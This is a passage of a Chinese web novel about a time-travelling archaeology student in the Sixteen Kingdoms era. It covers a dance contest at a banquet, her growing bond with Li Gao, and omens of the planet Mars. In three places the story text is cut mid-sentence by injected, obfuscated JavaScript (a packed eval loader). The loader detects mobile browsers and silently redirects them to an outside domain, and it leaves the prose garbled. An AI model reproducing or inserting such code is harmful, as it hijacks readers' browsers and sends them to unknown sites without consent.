自家的夫人,他自己护着。玄盛含笑点头,“好。” 阿祇的想法并不成熟,但是沮渠蒙逊有备而来,软肋被人拿捏纵使身不由己,但好在她现在不是一个人,“失了些面子不重要,我要的是里子。况且,待会的比试我不一定会输,长生,附耳过来……”若有外人在,定会觉得这对夫妻在耳鬓厮磨,好生恩爱。 辛夫人对本场比赛的赞助金主交代完细节,在搭子的眼神中看到星点笑意,“夫人,威武。” ……………………………… 一阵急骤的鼓点响起,舍蓝蓝穿着绯色的半身短袄,下穿绿绫浑裆裤,半露着腰肢和胸妖娆地上了台,站在其中一块圆形地毯上对贵人们屈身行礼。 “舍蓝蓝,应战。”她妩媚一笑。 台上的人伸长脖子等着辛夫人,十六国时期的女子没有被拘束在闺阁之中,民风彪悍的西北,有些汉女更不让须眉。辛夫人戴着面纱走了出来,穿着来时月白广袖束腰对襟裙裾,腰间丹色帛带束出完美腰身,白玉簪挽起长发,发髻后两根飘带垂落,一只手中仍握有她的圆月弯刀,与衣着华丽半掩的西域公主相比,有股清冷肃美之感。 人往往是这样,装扮越是得体,相比衣着暴露更有反差感。所谓楼上观山,城头观雪,灯前观月,舟中观霞,月下观美人。后世的氛围感美女,大抵如此。 辛夫人行礼道:“李氏辛薇,应战。” 一双双目光投射而来,灯光晕染的舞台上两个圆形地毯上,风格迥异的两位美人,吸引了无数目光。台上吕光开口挑衅:“辛夫人,为何持刀而来?不是要比舞吗?” 辛夫人扫了眼这位结局仓促的落魄枭雄,微微颔首以示尊重,她看了眼手中的圆月弯刀,忽然用力抛出,像两扇飞快旋转的回旋镖,有人惊呼,一个敏捷的身影接住她抛来的刀柄,正是玄盛。辛夫人手起刀落,舞台上方垂下的帷幕刚好断下一条蓝橙色的丝带,她一个旋转,将其单肩披在身上,给素色的装扮多了灵动飘逸的色彩,“借用一下,不介意吧?” 沮渠蒙逊见玄盛接了她的刀,两个人深情脉脉的对视,脸色越发阴郁。他送阿祇的沮渠匕首,却阴差阳错地被沮渠男成当作绑架她的信物,在蒙逊率领黑铁骑征战凉州之时,被送还给了自己,蒙逊摸上腰间仿佛被匕首的冰冷刺痛。 这时,鼓点响起,弦乐拨弄,胡旋舞曲传来。 舍蓝蓝算不得精通舞乐,耳濡目染毫不怯场,随着欢快的曲调儿伸出光洁的小腿,薄纱下纤细的脚踝,裙摆如蝴蝶的翅膀在鼓点中旋转扭动。美则美矣,可惜连续四场的西域歌舞后,难免审美疲劳,众人时不时地将目光放在她旁边,另一张圆形地毯上,站着亭亭玉立的名门贵女,一动不动。 星夜的眼神有些焦急,好像在问:“怎么不跳?不会……不会跳吧?” 辛夫人赞赏地看着身旁舍蓝蓝的胡旋舞,心中不由浮现唐代白居易的一首《胡旋女》: 胡旋女,胡旋女。心应弦,手应鼓。 弦鼓一声双袖举。回雪飘飖转蓬舞。 左旋右转不知疲,千匝万周无已时。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15232888|154785||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人间物类无可比,奔车轮缓旋风迟。 星夜一看阿祇那略带惊艳的眼神,气就不打一出来,她可知道自己现在正与人比舞吗?等鼓点结束,若她还一直站着不动,就等于认输了。星夜看向玄盛,那人悠哉地喝了口茶,好像对夫人的境况毫无担忧,这对夫妻真的不是一家人,不入一家门。 周围有交头接耳声逐渐多了起来。 阿竭耶是高台上唯一的女宾,舍蓝蓝的回鹘公主对她而言是可疑的,身为龟兹国的大公主,周边小国的公主她了如指掌,却没有见过这位。不过她没功夫多想,也在替怔愣不动的伽蓝公主,也就是辛夫人,紧张得手心冒汗。 沮渠男成看到沮渠蒙逊执着的眼神和隐痛,心中暗爽。军令如山,自从蒙逊从敦煌回来,就差点要了他的性命,男成只好藏去了盐泽魔窟避风头,伯父单于命他们二人来给段业庆祝升迁,这才有机会见到患得患的沮渠蒙逊。昔日“游手好闲”伪装的堂弟,终于得了权势,却也尝到了身不由己的滋味。沮渠男成踩着蒙逊的底线,凑到他跟前说:“若你当初不跟我抢兵权,那美人就是你的。” 沮渠蒙逊冷冷怼了回去:“你若再废话,我那魔窟的秘密我就藏不住了。” 在舍蓝蓝卖力的旋转中,鼓声一滞,忽然从欢快迅速的节拍中变了调子,咚,咚咚……响板的节奏也加了进来,嚓,嚓嚓……然后是琵琶的声音如繁星落入玉盘,在同样的节奏里拨动动人的旋律。其他人还没有反应过来,一阵风吹入大堂,光线变得明灭,女人发丝后的飘带舞动,竟是辛夫人在风中缓缓转身,纤纤手臂轻抬,手指手腕掐出优美的姿态,背影好似将凌空飞升。 又一阵,咚,咚咚…… 所有的目光都被这鼓乐声吸引,眼前女子的一举一动似能乱人心智。 辛夫人带着面纱,动作干脆轻盈,腰肢纤细,四体修长,额间红色的花钿如有了生命力,在她回眸的时候,引人坠落。原来她舞动起来,竟有这样的魅力。 沮渠蒙逊攥着酒杯的手隐隐用力,有种冲上去将人掠走的冲动,祖慕祇,她从来不舞,她说她喜书文,佛经、古籍、书法拓印来者不拒,却从来不在人前展露过这样的一面。辛夫人的身姿卓越,动作简单有力,带着一种浑然天成的魅,手中的丝带在风中烛光下舞动,像天上云卷云舒,人不是被她的容貌吸引,而是被眼下的意境、乐鼓的天人合一吸引,触动情绪,直达灵魂。 辛夫人仿若高冷的舞者,气质独特,眼神迷人。 方才她告诉玄盛,她只会这一支舞。那是千年后的辛薇,为了系里的新春晚会苦练一个月的古典舞,有氛围感的衬托才能事半功倍,至于何为“氛围感”,她与玄盛对视,简单的声台形表描述,他便能为她做得如此细致入微,默契得令人惊叹。 沮渠蒙逊从未如此嫉妒,恨不得毁天灭地,曾拥有过的失之交臂,这样的恨在她看向别人的眼神中,来得浓烈、渴望、不安,像心中生了一根刺,越想拔出来,越往心里扎,可就这样望着阿祇,痛苦中又尝到一丝甜。 64. 拓扑的世界 辛夫人动作行云流水,其实她在集中精力追随鼓点琵琶声,跳舞啊,技巧不能打动人心,打动别人的其实是神韵,她那一个月曾对着镜子练习什么是望眼欲穿,什么是欲迎还迎,什么是期盼,什么是羞怯,就像眼睛里含着一汪湖水,或者无数星星,把舞台下的目光想象成镜中的幻影,肌肉记忆形成的技巧,全因自己只会这一支舞。 玄盛目不转睛地看着她,就像这周围的一切不存在,眼里只有她。 阿祇手臂半遮面,曲起一膝,眼神迷离,她只需半盏茶的鼓乐,时间差不多了,意犹未尽才是恰到好处。长生不会让她超常发挥吧……她一个下腰姿势,抬眸扫了玄盛一眼,倒也没有很刻意,玄盛却心中一震,心跳得突然加快,差点没有握住手中的杯盏。 她的眼神,看似无辜,却好像在浓烈的酒中点燃火焰,瞬间炸开火花,激发内心最深的悸动。 玄盛的前半生有种偏执,出身士族,身负维系家族安危的使命,内心却向往非命非乐、尚贤尚同的兼爱盛世,少年时他曾与夫子论及儒家的繁琐奢靡之风当正,但他将来是要继承家主之位的继承人,势必要站在士族的立场。然而阿祇却能看穿,在他那平静、睿智外表下,可以欺骗世人,却瞒不过自己的心,和她的眼。 他已入局,如何能放她离开? 啪,啪,啪……掌声四起。鼓声停下,原来比试已经结束。 “玄盛,尊夫人一舞倾城,比试为胜者,实至名归。” 段业都激动得发话了,在场的人们无不附和。 半盏茶的舞,玄盛安排得滴水不漏,有些气喘的辛夫人听到自己获胜,保持着矜持从容,玄盛却从她的眼睛里看到繁星点点。他微微点头,像是在说:“你赢了。” 辛夫人走下擂台,来到玄盛的身旁,任他将披风围在妻子的肩上,挡住了所有人的目光,感受阿祇抑制不住的欢喜,“长生,我们做到了,谢谢你。” 是啊,他们做到了。 玄盛不避讳的牵住她的手,转身对段业说:“多谢段大人和诸位同僚的厚爱。” 阿祇更关心她的彩头,“谢谢大人,尊者之赐,却之不恭。” 照理说,作为输者的舍蓝蓝认赌服输,前途堪忧,相比惹怒吕纂惨死在他刀下的那个公主,舍蓝蓝瞬间生出恐惧,跪在地上,“求辛夫人放过我,我愿为奴为婢,供您驱使。”阿祇脸上挂着笑,话却冷酷:“回鹘公主不必如此,你不在这场比试的彩头里,吾没有兴趣。” 舍蓝蓝听她这话,心凉了大半。 她正要再次祈求,突然一个意想不到的声音传来,“阿弥陀佛,恭喜辛夫人得胜,贫僧无谶,如若回鹘公主不弃,可为女施主提供一个庇护之所。”吕纂对这个秃头的西域和尚完全没有好感,跋扈地对他说:“喂,和尚,美人你可无福消受,不如给我?” 舍蓝蓝很怕吕纂,她惯会变脸又命硬,尤其对求生这件事,总是绝处逢生,她看似柔弱,心中却在盘算,跟着神秘的无谶大师似乎也是退而求其次的选择。 无谶对慧嵩使了一个眼色,慧嵩点头离去,很快房顶的帷幔缓缓落幕,隔绝了贵宾与外界,然后无谶缓缓朝她走来,边靠近边说:“无谶有一个不情之请……” 阿祇的心中一凛,该来的终于来了。 辛夫人含笑不语,手心里传来玄盛的温度,她面上镇定自若,只有玄盛能感受到她的心慌,阿祇为什么要怕这个和尚?无谶眼中有探究,难道他们二人认识? 狯胡王一晃酒杯,酒水从杯中溢出,他不屑地对光头和尚说:“既然是不情之请,还说出来干什么?”辛夫人赞许地扫了星夜一眼,星夜,你果然壮士本色,然后毫不给无谶面子,拉了拉披风对玄盛说:“夫君,我累了……” 她认真撒起娇来,连她自己都怕。 眼神中收到搭子的默契,掌中有力的手握住她的纤手,玄盛宠溺地看着她,毫不迟疑地对段业道:“段大人还要鞍马劳顿,下官先行告辞,明日再为段大人送行。” 段业有心留他夫妇,讪笑着还未开口,无谶已经地站在辛夫人身前,“夫人请留步,夫人与无谶的一故人颇为相像,不知能否见您真容,一解疑惑?” 辛夫人拒绝道:“无谶禅师该知晓,只有凡尘之人,才以六尘缘影为心,你既是出家之人,前尘相想,随境生灭。怎好强人所难?吾以为不妥,亦不愿。” 一个和尚要看贵夫人的相貌确实逾越,可是他是不是真的得道高僧,在座的都心中有数,同行怕衬托,鸠摩罗什如泥塑一样心静若止水,而这个无谶显得十分无礼。这时,吕纂也跳出来,“辛夫人拔得头筹,却还以纱覆面,怕是辜负了诸位的赏银吧。” 无谶执着道:“夫人,若肯以诚相见,无谶必感激不尽。” 辛夫人正要拒绝,玄盛忽然开口:“吾夫人说不妥,汝等没听见?” 他的声音冷淡,目光清浅,看着无波无澜,可众人皆知这一句不怒自威,连段业都感到了玄郎君的冷意。玄玉阁的玄郎君如今甘于一城仕途,可他毕竟曾开拓了贯通西域和中原的丝路,玄羽衣三十六骑大隐于漠北,只要他愿意拉出家族的部曲,必能搅动风云。 李暠,放弃了逐鹿天下的机会,不是不能,或许只是选择了蛰伏。 无谶终于意识到了他正在与谁为敌,未再开口。 沉默已久的鸠摩罗什开了口,“离一切相,即名诸佛。无谶,何苦执着妄念。” 尴尬之际,段业喜出望外,“鸠摩罗什大师切勿见怪,是无谶僭越了。”段业眼神警告无谶,让他适可而止,他特意开这场宴席也是有私心的,“段某有意邀请大师,与某明日一同赴任建康,不知……” 生逢乱世,众生皆苦,有鸠摩罗什在的地方,就是人心所在。 鸠摩罗什双手合十,起身行礼道:“阿弥陀佛,段施主恕罪,贫僧于石窟山千佛洞的抄经修行,佛前发愿,不敢失言。”随后,他拿出一张纸,正是他准备好的彩头,无论辛夫人有无取胜,这都是鸠摩罗什为她准备好的礼物。“三界唯心,万法唯识。”纸上跃然出现鸠摩罗什的赠言,特意署上了“鸠摩罗什奉”。他亲自双手送上辛夫人面前,“佛法讲究看破虚妄,今日有缘,便将这张偈言送予施主,时辰不早,鸠摩罗什先行告退。” 阿竭耶一脸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15241081|154785||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 悲切地看着鸠摩罗什离开了宴席,他本就不属于这里。寂静无声,考古系出身的辛薇颤抖着双手,这是怎样沉甸甸的收获…… “走吧。”玄盛拉着她,头也不回地也走出了弓槊坊。 身后还叫嚷着星夜的笑声,“玄盛阿达,本王一会儿送彩头到贵府,再大醉一场。” 沮渠蒙逊坐在宴席原位,一张脸隐在人群之后,唯有一双眼睛看起来阴沉,他看着那相携的人影,看着他的祖慕祇一步步离他远去,冰冷的笑意凝固在唇角,眸光沉得骇人。 一路上,两个人都没说话。 辛夫人和玄郎君在外人直勾勾的目光中,迈着不紧不慢的步伐,向着城北的郊外农庄走去。人烟渐少,玄盛这才停下脚步,为她拢了拢披风,轻声道:“夜深寒凉,稷已经驾车送米耶和鄯善公主先回去了,劳烦夫人与我一路步行了。” “嗯。”她轻轻点头,她当然信他。 辛薇一直觉得她穿越后经历和擦肩而过的人很多,这一刻,是辛夫人和玄盛漫步在夜路,这种奇妙的情愫莫名落了地,生了根,有种真实的踏实之感。她与玄盛之间,曾经挡着一张透明的屏风,隔着的是千年的时空,可此时手上却有他真实的温度,一眼望去,李暠就在身边,他刀凿斧削的颌角,深邃的眉眼,直挺的高鼻和好看的薄唇,就在眼前。 她鬼使神差地将手伸过去,触碰他真实的存在。 玄盛默默地注视她,任她冰凉的手覆上面颊,缓缓地移过眉眼再到发丝。静悄悄的夜晚,繁星闪烁,亦如她眼眸中的光彩。谁也不说话,他耐心地等待她的目光,随冰冷的触感,一寸寸的触摸,心跳得越来越快,直到没法承受,玄盛一把抓住游走的手指,盯着她半晌才吐出一个字:“你……” 阿祇的眸光,仿佛浮云遮月般,被他一唤,猛然回神。 她想抽回手,可无论怎样,他的手却丝毫不松,紧紧握着她的手。她有些急躁,掺杂不经意的娇羞,都看在李暠的眼里,这诡异的痴缠发生在原本两个洒脱的人之间,终于她不再挣扎,直面他,还有自己的心,待平复心绪才无状地说:“长生,你可知天空中有个圆环?” 她莫名其妙的话,让李暠的手没有放松,而且耐心地听她接着又说:“光笼罩着我们头顶的宇宙苍穹,不论哪种方式,光最终都会回到起点。” 宇宙不是无限的,从她穿越的第一天开始,她就试图在寻找真相。古人曾假设地球是宇宙的中心,而她所学的数学拓扑结构,让她相信相对的面也是能连接在一起,在后世的无数科学探索中,拓扑的理论一次次推翻人类的认知,所以她假设自己无意中或许闯入了宇宙的一次裂变,这才与千年前的古人相遇,但这相遇是否为波动的偶发?她还是终究要回到起点? 心绪一涌而出纷乱繁杂,玄盛看向茫然的她,问道:“阿祇,你在怕什么?” 她冷静地审视内心,她在怕吗? “佛说来是偶然,走是必然……” “随缘不变,不变随缘,前世不可记,来世不可追。” 玄盛接着她的话,他一次次见她远走,一次次再相遇,这一世他不想再放手。 65. 荧惑 侍女兰溪,李家那些老家伙们送来的家生子,别看平时少言寡语的,据说真动起手来有祖宅李嬷嬷遗风,将庄户后宅料理得井井有条。当看到无忧树,就看到了他们在敦煌效谷县的家,稷亲自赶马车接回家主和夫人,深夜的后宅点心、茶水、热水一应俱全,连薰香和暖炉都烧好了。 一炷香前,马车抵达了县令府邸,山脚下四进院的西北宅院。 在最初阿祇扮作落魄书生的时候,总是绕到最后一排的后罩房,从这个角度再看无忧树,变得新奇陌生。这是她第一次从正门而入,以后这就是她的家了吗?垂花门前,兰溪和仆人们规矩地立在入口两侧,玄盛从马车上下来,站在车辕边朝随后的夫人伸出手,看见他的手阿祇还是有点尴尬,即便她们的关系微妙地改变了,是的,她心悦眼前这个人。 东有启明,西有长庚。 从辛薇到祖慕祇,从祖慕祇再到辛夫人,是启明,也是长庚。 她想通了,如鸠摩罗什的“三界唯心,万法唯识”的临别赠言,人生重要的是遵从本心,玄盛瞧着夫人一瞬间从变换到坚定的生动眉眼,等待她坦然将手放在自己的手中,兰溪迎在门前跪地行礼,“恭迎家主,恭迎夫人。” 随后,是单膝跪地,手捂胸口的稷。他对辛夫人真诚地行了大漠最重的谢礼,低头说了句她听不懂的语言,阿祇有些不解地看了眼玄盛,这个白发独眼的男人是李暠的贴身侍卫,平时冰冷如斯,这番郑重莫非是她与李暠在一起后……上桌了? 玄盛贴心地解释:“稷是鄯善人,你救了他族的公主就是他的恩人。” 阿祇释然,原来是为了阿母卡丹,那个受伤的可怜公主。 阿祇忙亲自扶起稷,道:“无需客气,公主她的伤势可好些?” 大漠人有恩必报,稷换成了汉文:“谢夫人,公主已经无恙。那个奴隶……哦,不,您的侍女也安置妥当。”稷,看似孤僻做事却雷厉风行,阿祇好像第一次与他认真交谈,于是诚恳地说:“稷,谢谢你照顾米耶。” 李暠身边文有宋繇,武有稷,这样年轻的顶配团队,不知道到底他们十年一起经历了什么,这令阿祇更加好奇,为什么未来西凉国从建立到覆灭一切太匆匆?阿祇纠结又有点担心,她与李暠在一起会不会影响历史的进程? 辛夫人,历史上确有其人,但好像……短命。 深夜的后宅仍有执灯守夜人,外院有护院,厨房里也有炊烟飘出。 阿祇被玄盛牵着,她的脚步有些飘浮,头脑有些混乱,但仍注意到了这个院子的很多细节,“长生,我们家的人是不是变多了?”她看了眼刚过去的侍女,压低声音对男人又道:“方才已经是第十个人喊我夫人了。” 玄盛心情极好,配合他的夫人小声说:“夫人若嫌人多,明日随意遣两个去后罩房。” 阿祇问:“后罩房?去那做什么,又没人住。” 玄盛答:“有白月在。” “你让两个人照顾白月?”她的男人微笑着摇头,伸出好看的三根手指,阿祇脸上出现三道黑线,“三个人?那……为什么当初你还让白月跟着我?”玄盛没有想很多,淡淡地说:“想把最好的给你。”她摸了摸心口,这难道就是爱情的魔力? 不行,这一夜她已经过得跌宕起伏,好想洗洗睡,太阳升起的时候也许就是黄粱一梦。最后,兰溪给了她一个“惊喜”,主屋的门前挂着两个红色的灯笼,兰溪恭敬地在门外迎接主人的到来,“夫人,床已铺好,可要先沐浴?” 阿祇感受到了双颊的温度,玄盛说:“先下去吧,这里不用伺候。” “是。”兰溪退下。 阿祇呆呆地看着这个屋子,脑子有些没反应过来,转开头忽然打了个喷嚏,玄盛伸出手摸了摸她的额头,皱眉道:“额头这么烫,不舒服怎不早说?”哦,原来不是自己脸皮薄,阿祇头是真的有点晕,“不妨事,你……” 玄盛搭上她的脉,“定是回来时染了风寒,我去开方煎药。” 送她入内室,阿祇这才发现原来这里是套间,她与李暠是隔壁室友的关系,连净室都是对称的格局,她松了口气,玄盛放好披风,顺便倒了一杯热水给她,道:“最近会有一些访客,昨夜我便让人将这间主屋隔开,你若住不惯我便搬到书房去,只是……你的悍妇之名,怕要做实了。” 阿祇一笑,她哪里在乎什么名声,被他扶到床前坐下想起道:“初遇商队时,我们曾在大漠经历过一次黑风暴,小林说商队的兄弟生病都是你诊病,没想到有一天我也成为了你的病人,可小林……”她话说了一半,停下了。 逝者已矣,生者节哀,玄盛抚摸她的头,温柔地安慰道:“陪我们走过一程的人都是值得被珍惜,不要多想,先把身体养好。” “嗯。”阿祇点头。 玄盛是极其自律且缜密的性格,他配了药亲自看火候煎煮,将近一个时辰后,才端着药香温热的祛寒药汤回来,帐子下洗得素净的阿祇披着半干的湿发像是睡着了,小脸红扑扑的,呼吸声有些重,睡的极不安稳。他将药碗轻轻放在小桌上,拂开她额上的头发,触上额头仍是滚烫的。 他轻唤阿祇,小心将她的上半身抱在怀里,“阿祇,喝完药再睡。” 怀里的人睁了睁眼皮,又合上,“阿祇,来,喝药。” 他耐心地舀了半勺药汁,喂到她唇边,阿祇是个很懂事的病人,意识模糊的时候也不会折腾别人,有一口没一口的,总算喝光了药汁。玄盛小心地放平她的头,盖好被子,剪下烛芯将光线调暗,仔细帮她擦干头发,顺便用湿帕子帮她降温。 烛火摇曳,他不经意地发现,或许是体温过高,或者是别的原因,阿祇眉间的优昙婆罗花钿颜色在改变,从粉色逐渐变为深粉,玄盛拿走了湿手帕,颜色还在加深,最终变成了娇艳红色。花钿的轮廓乍一看像盛开的优昙婆罗花,等待轮廓清晰后,他这才看出那并不是优昙婆罗花,更像是古老的图腾或星辰图谱,亦有些像吐火罗文,颜色是从未有过的热烈。 ……………………………… 西域,精绝。 在遥远的大漠深处,两个人正在密谈。 突然,身穿深色长褂头戴毡帽的灰色瞳孔老者,睁大眼睛望向帐篷外的夜空,东方有颗耀眼的星,泛着红色缓缓徘徊,竟有逆行之相。走出来的高大身影满脸髯须,随着老者的目光望去,满天星斗,“巫师,发生了什么事吗?” “荧荧火光,离离乱惑……” 高大的男人走路有些跛,他按住右腿,追随巫师爬上观星台,灰色瞳孔的老者凌乱的白色头发露在毡帽外,让他看上去垂垂老矣,深深叹息:“……荧惑。” 星空下男人的面容清晰起来,正是失踪已久的沙迦牟韦,如今的他身穿精美的华服,守在大漠深处的精绝,成为了新一任国王。沙迦牟韦神色焦急,问道:“巫师,是不祥之兆?” 老巫师纥那苍老的声音,喜忧参半,“荧惑守心,天责帝君。七月流火,必有灾祸。然而,岁星、荧惑、镇星、太白和辰星,五星出东方,利中国。” 沙迦牟韦不解,“这是何意?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15253348|154785||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “中原国土,或者就有我王正在找的人。” ………… 中原,凉州。 段业与无谶也在仰望星空,段业是懂占星之术的,荧惑星红光大胜,主旱灾、饥疾、兵乱、死丧,无谶,也就是克里雅,他听到了段业正说出同样的担忧:“荧惑不吉,其忽然红光大亮,此为何意?”克里雅脑海中浮现那个夜晚,辛薇所说的话:“《史记·天官书》中有占辞,若岁星、荧惑、镇星、太白和辰星,同时出现在东方天空中,则有利中原天下。” 无谶故作高深,“恭喜大人,必是大吉。” 段业疑惑,“哦?荧惑一出,难道未必是祸?” “这……”无谶哪里知道是福是祸,除非那个辛夫人是正如他所猜得那样,如果有了她,就有了最强的砝码。段业看得出他有事瞒他,追问道:“无谶,你今夜为什么难为辛夫人?你说她像你的故人,老夫记得你说过并未来过中原。” 无谶额头渗出冷汗,“段大人说得没错,无谶曾在梦中遇见龟兹战败,西域将被大将军收复。” 段业颔首,“无谶所言非虚,当初狯胡联军攻打龟兹,若非无谶梦中所见征西军大胜,老夫也不敢建言大将军全力抵抗。老夫记得,无谶还预见淝水秦王苻坚必败,让老夫劝谏大将军在凉州自立,果不其然。” 无谶信口雌黄地说:“无谶所说的那位故人,也是在梦中所见。” 段业道:“你是说,辛夫人?” “正是,在梦中,这位辛夫人与无谶亦敌亦友,说她是故人更像一种感觉,请段大人信我,只要得到此女,大人的前途霸业定会更近一步。” 克里雅当然不能将辛薇的秘密说出去,他不知道为什么他们来到了这个世界。作为异类,克里雅身无长处,对历史更是一知半解,故弄玄虚地只能应付段业罢了,他不知道十六国乱世的走向,但辛薇是学考古的,她一定知道。 段业没想过追逐那个至高点,若非无谶筹谋,他不可能人到中年,再走上风险极高的权谋之路。 抬头仰望,荧惑的红光总隐隐透着不祥。 ………… 敦煌城,效谷县。 在敦煌效谷令的府邸,李暠也现在夜空之下,东方有赤星,亦被称为妖星荧惑,司天下人臣之过,待七月行至主心宿,徘徊三星不去,是对皇权的大灾之难。如今正月刚过,荧惑已红光大现,必会引起恐慌。令他更为忧心的是,天人感应,荧惑的出现与阿祇的变化,不知是否有所关联。 稷静静地站在李暠身后,禀告说:“主人,那边传来消息,太守府有动静。” 玄盛微微叹气,“看来,他们也注意到了。” 稷听不明白,但能看出主人的担忧,只听玄盛像是自言自语说:“景公谦德,荧惑退行。” 稷忍不住问:“景公?” 玄盛解释道:“春秋宋景公得知荧惑入心宿,祸患降临君主,司星官回答将祸患转移给宰相、百姓、一年的收成,都被景公拒绝,言出三善,必有三赏,景公因祸得福。” 稷有些迟疑,“那荧惑出现,到底是好是坏?” 玄盛没办法回答这个问题,唯有一句:“天命不慆,不贰其命。” 那是司马光在《资治通鉴》中曾提到的预言,荧惑在心宿出现,百年一遇,若是针对无爱民之心的君王,根据各种史料所记,大概这个君王是躲不过灾难的。 玄盛一语成谶,在第二天大秦天王陛下——苻坚,命丧五将山。 消息传到凉州,已是三日后。 66. 三重书斋 苻坚死了,北方天下分崩离析。羌人姚苌篡权自立秦王,攻陷长安。吕光自立三河王,国号大凉,建都姑臧。慕容垂于邺城,建立后燕。慕容泓在关东,建立西燕。 凉州的势力波谲云诡,敦煌城相对就太平多了。 正如之前玄盛所遇见,效谷令的宅邸陆续来了很多访客。星夜曾在送行宴的第二日就曾来采访效谷令和夫人,李暠和他匆匆见了一面表达谢意,便回去照顾生病的夫人。至于其他同僚求见,一概婉拒。段业派来的“探病”之人就来了两波,但都没能见到辛夫人本人。 辛夫人病愈,已是段业上任建康的七八日后。 吕纂早已带着两位异域美女赶往姑臧,令人惊奇的是,卢水胡的沮渠兄弟,始终没有露面。 弓槊坊,人去楼空。 整条街依旧繁华热闹,吕光统一西域后,来往的胡人商队明显多了不少,中原战火集中在长安以东,一时半会,凉州还算安定。阳光正好,两个衣着普通的女子坐在马车上,她们中看上去只有十四五岁的掀开帘子,小心地张望人来人往的街道。 “阿秭,为什么不让家主送我们去靖恭堂?” 年轻单薄的女子脸上有小雀斑,说起话来稚气未脱,气色有几分亏空,笑容却很灿烂,正是米耶。她身旁坐着的阿祇,特意让兰溪帮她梳了女夫子的简单发髻,穿着淡青色的广袖儒裙,带着一个不大不小的箱笼。 阿祇提出想拜访靖恭堂,小住几日。 玄盛不置可否但很快就让人送来不少东西,并让稷一路护送,却被阿祇婉拒了,这里是敦煌况且靖恭堂路途不远,阿祇和米耶都有些身手,加上车夫护送已是足够。阿祇轻装出行,其实也是慕名要去一个地方,“听说城里最大的三重书斋就在这条街上,我们顺路看看,再给学堂的学生们带些礼物。” 米耶不解,“阿秭,家主说陪阿姊来,阿姊为什么不愿意?” 阿祇轻轻敲了一下她的脑门,“他有他要做的事,何况你阿姊我逛书斋喜欢闲适,咱们也不缺金银,姊妹买买买的乐趣,你以后就懂了。”米耶这几日看得出家主与阿姊之间的情意,她为阿姊开心,又有些不那么开心,心道:“家主喜欢阿秭,可沮渠蒙逊也喜欢阿秭,沮渠蒙逊有点可怜。” 自从与米耶再相逢,阿祇才听米耶说她错怪沮渠蒙逊了,原来是他救下了米耶。 沮渠蒙逊面冷、心也冷,当初她被沮渠男成丢弃在瓜州的不毛之地,米耶曾带着白月和努尔跑出去找阿秭,可惜人没有成功,只有白月和努尔成功了。 聊起这个,米耶仍心有余悸,“我看见舍蓝蓝钻了沮渠男成的帐子,我就知道这事跟她脱不了关系。我被抓了回来饿了几天就被送回盐泽魔窟,那里好可怕,分不清是风声、人声,还是鬼哭狼嚎,要不是沮渠蒙逊救了我,我怕真的会死在那里。” 阿祇觉得单纯的米耶,是非观简单又直接,对她有恩的人就是好人,即便自己被当成了诱饵,“你不气他把你当作奴隶?” 米耶睁大眼睛,忙解释说:“阿秭,我被送去了卢水胡的寨子,那里的人对我很好。沮渠蒙逊说带我来敦煌见阿秭,他让我假装成奴隶,才不会被沮渠男成和舍蓝蓝发现,但他没有把我当成真的奴隶过。”她又拍了拍胸口,庆幸道:“天神保佑,幸好家主那时捉住了舍蓝蓝的那支箭,舍蓝蓝她一定是发现了我,故意瞄准我。” 她们东扯一句,西扯一句,很快马车停了下来。 车夫恭敬地放下凳梯,告诉夫人书斋到了。 阿祇是朴素的夫人打扮,三重书斋人来过往的客人不少,文人墨客尤其多,她们两个进来的时候,也没引起多少人注意。 靖恭堂,是玄玉阁名下的学堂。听说,宋繇从西域回来后就住在那边,教授贤能子弟同时修缮学堂,乱世之中修身、齐家、治国、平天下的资源更加难能可贵,阿祇准备做个旁听生,顺便潭儿修睦的日子快到了,这个小孩的情感敏感,若不亲自去接怕他又哭鼻子。 “这位夫人,有什么需要?”有伙计出来招呼她们。 阿祇家底丰厚,赢了比试后又得意外之财,买起东西来十分豪爽,“请将你这里最好的文房四宝拿出来,还有古卷书册,我们都要选一些……”米耶拿出钱袋子,哗哗的满当当的声音,她随手摸出一个金灿灿的金叶子,塞给伙计,“选上好的东西,可不敢蒙骗我们夫人。” 伙计见她们出口阔绰,忙不迭地应承着客人,其实他去找了掌柜的,竟有人拿金子来买东西。 说起这家店的幕后老板,那必定是玄玉阁的玄郎君了。 伙计虽然认不出当家主母,但辛夫人一战成名,只要留在城里的管事们,几乎没有不认识辛夫人的,但上面下了封口令,但凡夫人需要什么,只要夫人不亮出自己的身份,他们就得配合。钱不能不收、又不能多收,不能太冷淡、又不能太热情,总之,要让主母感到心想事成,宾至如归。 书斋的掌柜,就是第一个接受考验的管事。 